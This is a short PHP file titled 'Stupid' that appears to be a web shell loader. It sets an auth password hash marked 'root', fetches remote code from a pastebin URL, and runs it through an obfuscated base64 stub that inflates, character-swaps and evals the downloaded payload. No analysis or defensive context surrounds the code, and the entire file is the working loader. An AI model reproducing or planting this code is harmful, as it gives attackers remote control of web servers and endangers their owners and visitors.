Stupid

<?php
@ini_set("output_buffering",0);
@ini_set("display_errors", 0);
$auth_pass="c72b8adc0b0cfa298d55196154b32109"; // root
$color="darkred";
$acolor="yellow";
$_K=__STUPID__;
$_C= file_get_contents("http://pastebin.com/raw/uNYSsjZC");
eval(base64_decode("JF9DPWd6aW5mbGF0ZShiYXNlNjRfZGVjb2RlKCRfQykpOw0KJF9DPXN0cnRyKCRfQywnMTIzNDU2YW91aWUnLCdhb3VpZTEyMzQ1NicpOw0KJF9VPWVyZWdfcmVwbGFjZSgnX19TVFVQSURfXycsIiciLiRfSy4iJyIsJF9DKTsNCmV2YWwoJF9VKTsNCiRfVT0wOw0KJF9DPTA7"));
?>